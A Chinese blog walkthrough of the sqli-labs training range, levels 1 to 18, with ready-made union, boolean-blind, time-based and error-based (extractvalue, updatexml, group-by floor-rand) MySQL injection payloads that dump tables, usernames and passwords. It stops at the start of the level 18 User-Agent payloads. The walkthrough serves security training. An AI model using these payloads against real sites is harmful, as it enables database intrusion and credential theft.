sqli-labs通关_SQL注入_SQL注入靶场
文章目录
- sqli-labs通关
- 1. sqli-labs第一关(联合注入)
- 1.1 id参数注入
- php源码分析
- 1.2 通过源码分析也可以使用联合注入
- 2.sqli-labs第二关(联合注入)
- 3.sqli-labs第三关(联合注入)
- poc
- 4.sqli-labs第四关(联合注入)
- 5.sqli-labs第五关(布尔盲注)
- POC
- 第一步使用length拼接获取数据库名的长度
- 第二步盲注数据库的使用的库名
- 第三步盲注数据库的所有表的长度
- 第四步盲注所有表名
- 第五步盲注表的列名,以及列值(假知username,password列名)
- 6.sqli-labs第六关(布尔盲注)
- 7.sqli-labs第七关(布尔盲注)
- 8.sqli-labs第八关(布尔盲注)
- 9.sqli-labs第九关(时间注入)
- 时间注入总poc
- 10.sqli-labs第十关(时间注入)
- 11.sqli-labs第十一关(联合注入)
- 12.sqli-labs第十二关(联合注入)
- 13.sqli-labs第十三关(报错注入)待完善
- 14.sqli-labs第十四关(报错注入)待完善
- 15.sqli-labs第十五关(时间注入)
- 16.sqli-labs第十六关(时间注入)
- 17.sqli-labs第十七关(更新报错注入)
- 辅助知识【extractvalue()报错注入,updatexml()报错注入和group by()报错注入】
- extractvalue报错注入总POC
- extractvalue疑问问题
- updatexml报错注入
- updatexml报错注入总poc
- group by报错注入
- floor()函数使用导致触发SQL异常:
- FLOOR函数数据执行回显
- round()函数使用导致触发SQL异常:
- LEFT()函数使用导致触发SQL异常:
- sql语句中@的使用,这个当知识补充:
- group by报错注入总poc
- 18.sqli-labs第十八关(添加报错注入)
- uagent添加报错注入总poc
- 19.sqli-labs第十九关(添加报错注入)
- REFERER字段-添加报错注入总POC
- 20.sqli-labs第二十关(查询报错注入)
- 21.sqli-labs第二十一关(查询报错BASE64转码注入)
- 报错BASE64转码注入POC
- 22.sqli-labs第二十二关(查询报错BASE64转码注入)
- 报错BASE64转码注入POC
- 23.sqli-labs第二十三关(注释失效联合注入)
- 注释无效联合注入总poc
- 24.sqli-labs第二十四关(更新进行二次注入)
- 25.sqli-labs第二十五关(查询双写绕过联合注入)
- POC
- 26.sqli-labs第二十六关(查询空格or-and绕过报错查询)
- poc
- 26-a.sqli-labs第二十六-a关(查询空格注释双写绕过盲注时间注入)
- poc,可以参考第九关poc,?id=1')||if(...)||('0进行拼接,将空格替换为()
- 27.sqli-labs第二十七关(查询重写报错注入)
- POC
- 27-a.sqli-labs第二十七-a关(查询重写空格转码盲注和联合注入)
- POC
- 28.sqli-labs第二十八关(查询重写空格绕过联合注入)
- poc
- 28-a.sqli-labs第二十八-A关
- 29.sqli-labs第二十九关(查询双写形参绕过第一个参数校验联合注入)
- poc
- 30.sqli-labs第三十关(查询双写形参绕过第一个参数校验联合注入)
- poc
- 31.sqli-labs第三十一关(查询双写形参绕过第一个参数校验联合注入)
- poc
- 32.sqli-labs第三十二关(查询宽字节联合注入)
- POC
- 33.sqli-labs第三十三关(查询宽字节联合注入)
- 34.sqli-labs第三十四关(查询宽字节联合注入)未成功
- poc
- 35.sqli-labs第三十五关(查询联合注入十六进制转码)
- poc
- 36.sqli-labs第三十六关(查询宽字节联合注入)
- POC
- 37.sqli-labs第三十七关(查询宽字节联合注入)未成功
- poc
- 38.sqli-labs第三十八关(查询堆叠注入)
- POC
- 39.sqli-labs第三十九关(查询堆叠注入)
- poc
- 40.sqli-labs第四十关(查询堆叠注入或联合注入)
- poc
- 41.sqli-labs第四十一关(查询堆叠注入)
- POC
- 42.sqli-labs第四十二关(查询堆叠及报错注入)
- POC
- 43.sqli-labs第四十三关(查询堆叠及报错注入)
- POC
- 44.sqli-labs第四十四关(查询布尔时间盲注)
- POC
- 45.sqli-labs第四十五关(查询布尔时间盲注)
- poc
- 46.sqli-labs第四十六关(order by报错注入)
- POC
- 47.sqli-labs第四十七关(order by报错注入)
- POC
- 48.sqli-labs第四十八关(order by布尔时间盲注)
- POC
- 49.sqli-labs第四十九关(order by布尔时间盲注)
- POC
- 50.sqli-labs第五十关(order by报错注入)
- POC
- 51.sqli-labs第五十一关(order by报错注入)
- POC
- 52.sqli-labs第五十二关(order by 堆叠注入)
- poc
- 53.sqli-labs第五十三关(order by 堆叠注入)
- poc
- 54.sqli-labs第五十四关(鸡肋一关)
- poc
- 55.sqli-labs第五十五关(鸡肋一关)
- 56.sqli-labs第五十五关(鸡肋一关)
- 57.sqli-labs第五十七关(鸡肋一关)
- 58.sqli-labs第五十八关(鸡肋一关)
- 59到65关都很鸡肋
本文章采用前人栽树,后人乘凉原则借鉴了[ 糊涂是福yyyy],感谢作者的文章对我个人的启迪,让我理解的更一层加深。
sqli-labs通关
1. sqli-labs第一关(联合注入)
1.1 id参数注入
提示你输入数字值的ID作为参数,我们输入?id=1(--+
是注释符号(--
开头表示注释,+
用于闭合前面的内容或占位))
通过数字值不同返回的内容也不同,所以我们输入的内容是带入到数据库里面查询了。
接下来我们判断sql语句是否是拼接,且是字符型还是数字型。
提示sql语法异常,在输入的2旁错误
可以根据结果指定是字符型且存在sql注入漏洞。因为该页面存在回显,所以我们可以使用联合查询,联合查询原理简单说一下,联合查询就是两个sql语句一起查询,两张表具有相同的列数,且字段名是一样的。
php源码分析
使用客户端查询工具,id为int类型,可以查询成功,此处前端是否输入字符或者数字都可以,都是拼接,如java对象转换直接string类型到int会报错!
1.2 通过源码分析也可以使用联合注入
**第一步:**首先知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数
?id=1'order by 3 --+
**第二步:**爆出显示位,就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数据是显示在页面的。
?id=-1'union select 1,2,3--+
将拼接的sql在数据库执行显示为下图
**第三步:**获取当前数据名和版本号,这个就涉及mysql数据库的一些函数,记得就行。通过结果知道当前数据看是security,版本是5.7.26。
?id=-1'union select 1,database(),version()--+
第四步: 爆表,information_schema.tables表示该数据库下的tables表,点表示下一级。where后面是条件,group_concat()是将查询到结果连接起来。如果不用group_concat查询到的只有user。该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容。也就是下面
SELECT * FROM information_schema.tables -- 查询所有库名和表名
当前查询的业务users表字段共3列,在最后一列中进行显示
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
**第五步:**爆字段名,我们通过sql语句查询知道当前数据库有四个表,根据表名知道可能用户的账户和密码是在users表中。接下来我们就是得到该表下的字段名以及内容。
SELECT TABLE_SCHEMA, TABLE_NAME,COLUMN_NAME, DATA_TYPE, PRIVILEGES FROM
information_schema.columns
WHERE TABLE_SCHEMA='SECURITY'
对information_schema.columns上面截图做的解释。
现在查询information_schema数据库下的columns表里面且table_users字段内容是users的所有column_name的内。注意table_name字段不是只存在于tables表,也是存在columns表中。表示所有字段对应的表名。
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
数据库中的tables表,核对后是3列
**第六步:**通过上述操作可以得到两个敏感字段就是username和password,接下来我们就要得到该字段对应的内容。我自己加了一个id可以隔一下账户和密码。
?id=-1' union select 1,2,group_concat(username ,id , password) from users--+
2.sqli-labs第二关(联合注入)
和第一关是一样进行判断,当我们输入单引号或者双引号可以看到报错,且报错信息看不到数字,所有我们可以猜测sql语句应该是数字型注入。那步骤和我们第一关是差不多的,
"SELECT * FROM users WHERE id=$id LIMIT 0,1"
"SELECT * FROM users WHERE id=1 ' LIMIT 0,1"出错信息。?id=1 order by 3
?id=-1 union select 1,2,3
?id=-1 union select 1,database(),version()
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
?id=-1 union select 1,2,group_concat(username ,id , password) from users"SELECT * FROM users WHERE id=$id LIMIT 0,1"
"SELECT * FROM users WHERE id=1 ' LIMIT 0,1"出错信息。?id=1 order by 3
?id=-1 union select 1,2,3
?id=-1 union select 1,database(),version()
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
?id=-1 union select 1,2,group_concat(username ,id , password) from users
源码分析,拼接的为数字类型,加“ 字符语进行结束
?id=8'
?id=8“
通过输入字符,得出结论,一直字符串问题,可以判断是数字型注入,中间是没’'字符
对上面的sql语言进行注入,成功获取用户密码
3.sqli-labs第三关(联合注入)
当我们在输入?id=2’的时候看到页面报错信息。可推断sql语句是单引号字符型且有括号,所以我们需要闭合单引号且也要考虑括号。
源码分析:
?id=1' // 单引号拼接到源码中,两个单引号拼接后应该自动转为''"SELECT * FROM users WHERE id=('1'') LIMIT 0,1" 日志中获取拼接后的sql
?id=1'' order by 10--+ 是两个单引号
"SELECT * FROM users WHERE id=('1'' order by 10-- ') LIMIT 0,1" 在数据库可以成功执行,1'' order by 10--结束少了)括号结束,将这个整个当成字符串进行处理,id中没有这个字符串,下面怎么可以执行,不解
poc
对下面的进行测试,根据源码及错误组合)的拼接,很多真实项目是没有这些错误提示,只限靶场
?id=2')--+
?id=1') order by 3--+
?id=-1') union select 1,2,3--+
?id=-1') union select 1,database(),version()--+
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1') union select 1,2,group_concat(username ,id , password) from users--+
4.sqli-labs第四关(联合注入)
根据页面报错信息得知sql语句是双引号字符型且有括号,通过以下代码进行sql注入
?id=1") order by 3--+
?id=-1") union select 1,2,3--+
?id=-1") union select 1,database(),version()--+
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1") union select 1,2,group_concat(username ,id , password) from users--+
源码分析:
$id = 123;
$id = '"' . $id . '"';
echo $id; // 输出结果为 "123"(带双引号)'"':表示一个双引号字符(")。
.:PHP 的字符串连接运算符,用于拼接字符串。
?id=1"
"SELECT * FROM users WHERE id=("1"") LIMIT 0,1" -- 组合后的sql语法异常
拼接后语法少“以及)收尾,语法异常,添加") 组合结尾, --+注释后面的可执行sql
?id=1") --+
5.sqli-labs第五关(布尔盲注)
返回只有对或错的不同页面,也没有错误提示,需要使用布尔盲注
第五关根据页面结果得知是字符型但是和前面四关还是不一样是因为页面虽然有东西。但是只有对于请求对错出现不一样页面其余的就没有了。这个时候我们用联合注入就没有用,因为联合注入是需要页面有回显位。如果数据 不显示只有对错页面显示我们可以选择布尔盲注。布尔盲注主要用到length(),ascii() ,substr()这三个函数,首先通过length()函数确定长度再通过另外两个确定具体字符是什么。布尔盲注向对于联合注入来说需要花费大量时间。
26个字母及逗号的ASCII码范围
大写字母:A - Z对应的十进制ASCII码范围是65 - 90。例如,A是65,B是66,以此类推,Z是90。
小写字母:a - z对应的十进制ASCII码范围是97 - 122。例如,a是97,b是98,以此类推,z是122。
逗号:逗号“,”对应的十进制ASCII码是44。
_下划线是数字95
POC
?id=1'and length((select database()))>=9--+
#大于号可以换成小于号或者等于号,主要是判断数据库的长度。lenfth()是获取当前数据库名的长度。如果数据库是haha那么length()就是4
?id=1'and ascii(substr((select database()),1,1))=115--+
#substr("78909",1,1)=7 substr(a,b,c)a是要截取的字符串,b是截取的位置,c是截取的长度。布尔盲注我们都是长度为1因为我们要一个个判断字符。ascii()是将截取的字符转换成对应的ascii吗,这样我们可以很好确定数字根据数字找到对应的字符。?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>=29 --+ 判断所有表名字符长度。?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+ 逐一判断表名?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+ 判断所有字段名的长度?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+ 逐一判断字段名。?id=1' and length((select group_concat(username,password) from users))>109--+ 判断字段内容长度?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+ 逐一检测内容。
源码分析
请求后拼接的sql,正确返回的页面,提示用户存在
请求后拼接的sql,错误返回的页面,没有任何提示
第一步使用length拼接获取数据库名的长度
数据库的长度为8
第二步盲注数据库的使用的库名
获取到长度8,使用for循环8次盲注,对每个数据库字母进行ASCII转码成数字进行判断
select ascii("s"); --115
select ascii("e"); -- 101
select ascii("c"); -- 99
select ascii("u"); -- 117
select ascii("r"); -- 114
select ascii("i"); -- 105
select ascii("t"); -- 116
select ascii("Y"); -- 121
第三步盲注数据库的所有表的长度
先了解下几个库表列 information_schema.tables ,可以使用where当前库名的表是多少
下面使用sql,可以查询到当前库对应的所有表
select group_concat(table_name) from information_schema.tables where table_schema=database();select database()
?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>=29 --+
第四步盲注所有表名
获取所有表长度29+加中间的逗号,使用for循环29次盲注,所有的表由29个字母组合,对每个表名进行ASCII转码成数字进行判断
select group_concat(table_name) from information_schema.tables where table_schema=database();
-- 数据库查询后结果为: emails,referers,uagents,users
select ascii("e"); -- 101
select ascii("m"); -- 109
select ascii("a"); -- 97
..............
select ascii(","); -- 44
.......?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+
第五步盲注表的列名,以及列值(假知username,password列名)
?id=1' and length((select group_concat(username,password) from users))>109--+ 判断字段内容长度?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+ 具体内容的对应的ascii的值
辅助知识点
username,password字段拼接后的所有内容
select group_concat(username,password) from users
6.sqli-labs第六关(布尔盲注)
第六关和第五关是差不多的,根据页面报错信息可以猜测id参数是双引号,只需将第五关的单引号换成双引号就可以了。
源码分析
请求页面返回的拼接sql
双引号成功拼接,后面的按照第5关思路进行获取列值
7.sqli-labs第七关(布尔盲注)
这关不看源码,不知道需要加‘))双括号,这局看运气碰,只有页面返回语法异常
当在输入id=1,页面显示you are in… 当我们输入id=1’时显示报错,但是没有报错信息,这和我们之前的关卡不一样,之前都有报错信息。当我们输入id=1"时显示正常所以我们可以断定参数id时单引号字符串。因为单引号破坏了他原有语法结构。然后我输入id=1’–+时报错,这时候我们可以输入id=1’)–+发现依然报错,之时我试试是不是双括号输入id=1’))–+,发现页面显示正常。那么它的过关手法和前面就一样了选择布尔盲注就可以了。
源码分析
请求页面,正确返回页面Use outfile
请求页面,输入错误返回
下面还是按照第5关的思路进行盲注
?id=1')) --+
8.sqli-labs第八关(布尔盲注)
第八关和第五关一样就不多说了。只不过第八关没有报错信息,但是有you are in…进行参照。id参数是一个单引号字符串。
源码分析
请求页面,输入正确返回
请求页面,错误返回,没有任何提示,空白
通过添加2’ --+进行拼接,使用第5关思路进行盲注
?id=2' --+
9.sqli-labs第九关(时间注入)
第九关会发现不管输入什么页面显示的东西都是一样的,这个时候布尔盲注就不适合我们用,布尔盲注适合页面对于错误和正确结果有不同反应。
如果页面一直不变这个时候我们可以使用时间注入,时间注入和布尔盲注两种没有多大差别只不过时间盲注多了if函数和sleep()函数。
if(a,sleep(10),1)如果a结果是真的,那么执行sleep(10)页面延迟10秒,如果a的结果是假,执行1,页面不延迟。通过页面时间来判断出id参数是单引号字符串。
源码分析
输入是否正确页面,都是返回You are in 这句,没有可判断对错参照物,使用延迟函数
时间注入总poc
?id=1' and if(1=1,sleep(5),1)--+ 判断参数构造。?id=1'and if(length((select database()))>9,sleep(5),1)--+ 判断数据库名长度?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+ 逐一判断数据库字符?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+ 判断所有表名长度?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+
逐一判断表名?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+
判断所有字段名的长度?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+
逐一判断字段名。?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+
判断字段内容长度?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+
逐一检测内容。
SQL拼接成功,返回的页面效果,以及拼接后的完成SQL
测试拼接成功sql在数据库执行状态,
if是如果1=1条件成立,
执行sleep(5),sleep()函数返回false;
否则返回1(true),也可以写0(假);
SLEEP(5)
是一个特殊函数,它只返回0(假),所以整个条件变为 TRUE AND FALSE
,导致没有行被返回;
SELECT * FROM users WHERE id='1' AND IF(1=1,SLEEP(5),1)
SELECT * FROM users WHERE id='1' AND FALSE // if的返回值false拼接在sql中SELECT * FROM users WHERE id='1' AND IF(1=1,SLEEP(5),0)
后面的思路和第五关一样,结合sleep页面的响应进行布尔盲注,如果错误页面立刻回显,正确的则睡眠5秒进行回显。
10.sqli-labs第十关(时间注入)
第十关和第九关一样只需要将单引号换成双引号。
源码分析
页面返回正确和错误页面,提示是同样错误
过关思路,与第九关一样只需要将单引号换成双引号,其他一样步骤
11.sqli-labs第十一关(联合注入)
从第十一关开始,可以发现页面就发生变化了,是账户登录页面。那么注入点就在输入框里面。前十关使用的是get请求,参数都体现在url上面,而从十一关开始是post请求,参数是在表单里面。我们可以直接在输入框进行注入就行。并且参数不在是一个还是两个。根据前面的认识我们可以猜测sql语句。大概的形式应该是这样uname=参数 and passwd=参数 ,只是不知道是字符型还是整数型。
源码分析
使用bp看看参数的构造,使用bp抓不到包的话,将localhost改成ip地址就可以抓包
POST
Content-Type: application/x-www-form-urlencoded
uname=sd&passwd=sds&submit=Submit
直接借助HackBar的谷歌插件,进行POST请求构造
uname=1'--+&passwd=sds&submit=SubmitSELECT username, PASSWORD FROM users WHERE username='1'-- ' and password='sds' LIMIT 0,1
参数输入后,页面返回拼接成功后sql,后端无校验,直接进行拼接用户名字段进行sql注入
进行进行注入
uname=1' or 1=1--+&passwd=sds&submit=Submit
将这个拼接成功sql,去数据库执行,结果,列出所有的用户和密码,前端页面只反一条数据,因没有for遍历问题
这个就和我们第一关是一样了,使用联合注入就可以获取数据库信息。根据第一关的思路进行获取数据的用户和密码
uname=1' union select 1,2--+&passwd=sds&submit=Submit
根据页面拼接完成的sql数据库执行,联合也是返回一条数据,已经将后面sql进行 --+ 注释了
12.sqli-labs第十二关(联合注入)
请求格式与十一关是一样的,下面查看拼接后页面响应内容
POST
Content-Type: application/x-www-form-urlencoded
uname=1' --+&passwd=sds&submit=Submit
源码分析
页面中正确返回用户名和密码, 不正确返回sql语法异常以及一张登录无效提示图
正确页面提示登录无效,根据源码,可以看到是1‘ --+ 作为整个字符串进行拼接,做整个的字符解析,没有报错,需要“双字符结束,and自定义条件,如联合查询
SELECT username, PASSWORD FROM users WHERE username=("1' -- ") AND PASSWORD=("sds") LIMIT 0,1
错误页面会有提示,双引号附近有错误,根据源码是少括号
成功拼接执行,后面按照联合注入进行执行获取用户和密码
13.sqli-labs第十三关(报错注入)待完善
十三关和十二关差不多,只需要将双引号换成单引号。
源码分析
前端页面,成功页面无任何输出,失败登录页面有异常输出
14.sqli-labs第十四关(报错注入)待完善
十四关和十一关差不多,只需要将单引号换成双引号。
源码分析
前端页面,成功页面无信息输出,失败登录页面有错误信息输出
15.sqli-labs第十五关(时间注入)
第十五关和第十一关一样,只是不产生报错信息,需要结合布尔盲注。根据页面延迟效果参考注入。
源码分析
根据源码,页面的成功或者失败各返回一张图,没有错误的信息输出
16.sqli-labs第十六关(时间注入)
第十六关和十五关一样,只是单引号换成了双引号,需要时间注入结合布尔盲注。
源码分析
页面的成功与失败各自返回对应的图片,没有错误信息的输出,使用时间进行
17.sqli-labs第十七关(更新报错注入)
第十七关和前面的关有很大不一样,根据页面展示是一个密码重置页面,也就是说我们已经登录系统了,然后查看我们源码,是根据我们提供的账户名去数据库查看用户名和密码,如果账户名正确那么将密码改成你输入的密码。再执行这条sql语句之前会对输入的账户名进行检查,对输入的特殊字符转义。所以我们能够利用的只有更新密码的sql语句。sql语句之前都是查询,这里有一个update更新数据库里面信息。
所以之前的联合注入和布尔盲注以及时间盲注都不能用了。不能用了。不能用了。
这里我们会用到报错注入。用到三种mysql报错注入,下面都给大家详细写出步骤,大家可以借鉴。
这里介绍的报错注入可以选择extractvalue()报错注入,updatexml()报错注入和group by()报错注入。下面简单说一下者三种报错注入的原理。
POST请求体
Content-Type: application/x-www-form-urlencoded
uname=Dumb&passwd=123&submit=Submit
源码分析
源码中的对用户进行校验
前端源码分析页面展示错误信息
辅助知识【extractvalue()报错注入,updatexml()报错注入和group by()报错注入】
extractvalue报错注入
extractvalue(XML_document, XPath_string)
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
作用:从XML_document中提取符合XPATH_string的值,当我们XPath_string语法报错时候就会报错,下面的语法就是错误的。concat和我前面说的的group_concat作用一样
SELECT EXTRACTVALUE('',CONCAT('~',(SELECT DATABASE())));
extractvalue报错注入总POC
下面已将该报错注入代码给到大家,在最后一步爆字段内容时候,会报错,原因是mysql数据不支持查询和更新是同一张表。所以我们需要加一个中间表。这个关卡需要输入正确账号因为是密码重置页面,所以爆出的是该账户的原始密码。如果查询时不是users表就不会报错。
1' and (extractvalue(1,concat(0x5c,version(),0x5c)))--+ 爆数据库版本,0x5c(十进制 92),对应的字符是反斜杠 \
1' and (extractvalue(1,concat(0x5c,database(),0x5c)))--+ 爆数据库1' and (extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c)))--+ 爆表名1' and (extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x5c)))--+ 爆字段名1' and (extractvalue(1,concat(0x5c,(select password from (select password from users where username='Dumb') b) ,0x5c)))--+ 爆字段内容该格式针对mysql数据库,两个select避开不支持同表查改的同步操作,b相当于中间表1' and (extractvalue(1,concat(0x5c,(select * from (select group_concat(username," ",password) from users) b),0x5c)))--+ 爆字段内容,两个select避开不支持同表查改的同步操作,b相当于中间表
测试EXTRACTVALUE函数,在数据库执行返回查询的库名
SELECT EXTRACTVALUE('',CONCAT('~',(SELECT DATABASE())))
页面执行成功的页面
需要一个正确的用户,执行update的注入
uname=Dumb&passwd=1' and (extractvalue(1,concat(0x5c,version(),0x5c)))--+&submit=Submit
使用extractvalue爆表名
使用extractvalue爆用户表字段
使用extractvalue爆用户名密码
使用extractvalue 爆用户表的字段内容
extractvalue疑问问题
比如UPDATE users_copy SET PASSWORD = '0' AND username='1'; update中and其他属性应该语法报错才对,比如EXTRACTVALUE这个函数,EXTRACTVALUE 没有匹配到任何节点返回 NULL,匹配到则返回内容;SET PASSWORD = '1' AND username='1' 中的 AND 是一个逻辑运算符。MySQL 会尝试对 '1' 和 username='1' 进行逻辑运算。'1' 是一个字符串,username='1' 是一个布尔表达式。在 MySQL 中,字符串和布尔值之间的逻辑运算会进行隐式转换。通常,字符串 '1' 在逻辑运算中会被视为 TRUE,而 username='1' 也是一个布尔表达式,取决于 username 列的值。username 列中不包含 '1',那么 username='1' 会被视为 FALSE。
因此,'1' AND username='1' 的结果是 FALSE。
在 MySQL 中,布尔值 FALSE 会被转换为整数 0,因此 SET PASSWORD = 0。
图中所有password值都为0的情况,sql语法看着有问题,但也可以执行的分析
UPDATE users_copy SET PASSWORD = '1' AND username='1'
updatexml报错注入
UPDATEXML (XML_document, XPath_string, new_value)
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值,改变XML_document中符合XPATH_string的值
当我们XPath_string语法报错时候就会报错,updatexml()报错注入和extractvalue()报错注入基本差不多。
下面已将该报错注入代码给到大家,最后爆字段和上面一样如果加一个中间表。
updatexml报错注入总poc
123' and (updatexml(1,concat(0x5c,version(),0x5c),1))# 爆版本
123' and (updatexml(1,concat(0x5c,database(),0x5c),1))# 爆数据库123' and (updatexml(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c),1))# 爆表名123' and (updatexml(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name ='users'),0x5c),1))# 爆字段名123' and (updatexml(1,concat(0x5c,(select password from (select password from users where username='admin') b),0x5c),1))# 爆密码该格式针对mysql数据库。123' and (updatexml(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name ='emails'),0x5c),1))# 爆emails表 1' and (updatexml (1,concat(0x5c,(select group_concat(id," ",email_id) from emails),0x5c),1))# 爆字段内容。
爆用户密码
group by报错注入
group by理解,用到几个函数floor()、round()、left()、rand() 、count()
个人理解大概是列名中使用上面这个函数的组合,另起别名如x,使用group by x 进行分组,SQL 标准中是不允许的列名中函数,无法进行分组,导致异常。
floor()函数使用导致触发SQL异常:
SELECT CONCAT(FLOOR(RAND(0)*2),0x5e,VERSION(),0x5e)X, COUNT(*) FROM users_copy GROUP BY x;SELECT CONCAT(0x5e,VERSION(),0x5e,FLOOR(RAND(0)*2))X,COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)a GROUP BY x;RAND(0) 函数 --》生成的浮点数随机数范围是 0(包含)到 1(不包含)之间,因此乘以 2 后的结果在 0(包含)到 2(不包含)之间。FLOOR() 函数用于向下取整,即返回不大于输入值的最大整数。 如:0< 0.333
SELECT FLOOR(RAND(0)*2) AS random_number;GROUP BY报错语句:因x列有FLOOR函数的使用,导致 SQL 标准是不允许的,才抛出sql语法异常问题;
GROUP BY 列名:在 GROUP BY 子句中,X 是一个列别名。根据 SQL 标准,列别名在 GROUP BY 子句中通常是不允许的。
执行后都返回库的版本
FLOOR函数数据执行回显
SELECT FLOOR(RAND(0)*2) AS random_number;
round()函数使用导致触发SQL异常:
select concat(0x5e,version(),0x5e,round(rand(0)))x,count(*) from users_copy group by x;SELECT ROUND(RAND(0)); --ROUND(数字,保留几位数非必填)默认是四舍五入整数SELECT CONCAT(0x5e,VERSION(),0x5e,1)X,COUNT(*) FROM users_copy GROUP BY X; 函数替换1正常执行因x列有round函数的使用,导致 SQL 标准是不允许的,才抛出sql语法异常问题;
抛出异常
验证去掉函数,可执行SQL
LEFT()函数使用导致触发SQL异常:
LEFT(str, length)
str:要提取字符的原始字符串。
length:要提取的字符数。这个参数必须是一个正整数。
SELECT LEFT('Hello, World!', 5); --》结果:HelloSELECT CONCAT(0x5e,VERSION(),0x5e,LEFT(RAND(0),3))X,COUNT(*) FROM users_copy GROUP BY X;因x列有LEFT函数的使用,导致 SQL 标准是不允许的,才抛出sql语法异常问题;
sql语句中@的使用,这个当知识补充:
SELECT MIN(@a:=1) FROM users_copy GROUP BY CONCAT(0x5e,@@version,0x5e,@a:=(@a+1)%2);@a:=1 @a 是一个用户定义的变量。@a:=1 将变量 @a 初始化为 1。
MIN() 函数用于获取列中的最小值。
由于 @a:=1 是一个赋值表达式,它总是返回 1。因此,MIN(@a:=1) 总是返回 1。
CONCAT(0x5e,@@version,0x5e,@a:=(@a+1)%2):
0x5e 是十六进制表示法,代表字符 ^。
@@version 是 MySQL 系统变量,返回当前 MySQL 数据库的版本信息。
@a:=(@a+1)%2:这是一个赋值表达式,用于将 @a 的值增加 1,然后对 2 取模,结果只能是 0 或 1。
CONCAT(...) 将这些结果连接成一个字符串。由于 @a 在每次迭代中都会变化,CONCAT(...) 的结果也会变化,导致每个结果都可能是一个新的分组。
group by报错注入总poc
123' and (select count(*) from information_schema.tables group by concat(database(),0x5c,floor(rand(0)*2)))# 爆数据库123' and (select count(*) from information_schema.tables group by concat(version(),0x5c,floor(rand(0)*2)))# 爆数据库版本1' and (select count(*) from information_schema.tables where table_schema=database() group by concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e,floor(rand(0)*2)))# 通过修改limit后面数字一个一个爆表
1' and (select count(*) from information_schema.tables where table_schema=database() group by concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e,floor(rand(0)*2)))# 爆出所有表1' and (select count(*) from information_schema.columns where table_schema=database() group by concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e,floor(rand(0)*2)))# 爆出所有字段名1' and (select count(*) from information_schema.columns group by concat(0x7e,(select group_concat(username,password) from users),0x7e,floor(rand(0)*2)))# 爆出所有字段名1' and (select 1 from(select count(*) from information_schema.columns where table_schema=database() group by concat(0x7e,(select password from users where username='admin1'),0x7e,floor(rand(0)*2)))a)# 爆出该账户的密码。
爆出账户的密码
18.sqli-labs第十八关(添加报错注入)
这关我们直接看到看到页面有一个ip,我们 可以简单看一下源码,发现对于输入的账户名和密码都有进行检查,将单引号转义’,此路不通;需要个正确的用户和密码;但是往下看会发现一个插入的sql语句,当我们输入争取的账户名和密码我们的User-Agent字段内容就会出现在页面上。注入思路与第十七关基本一样,使用报错注入
源码分析
前端页面分析,成功和失败都有错误日志的输出
正确页面请求回显
POST
Content-Type: application/x-www-form-urlencoded
uname=Dumb&passwd=Dumb&submit=Submit
数据库添加数据成功图
表字段类型都string
分析源码,对User-Agent字段注入
输入2233,SQL拼接后是"INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('2233', '192.168.0.2', 'Dumb')"
uagent添加报错注入总poc
构造User-Agent: 字段进行sql注入语法:
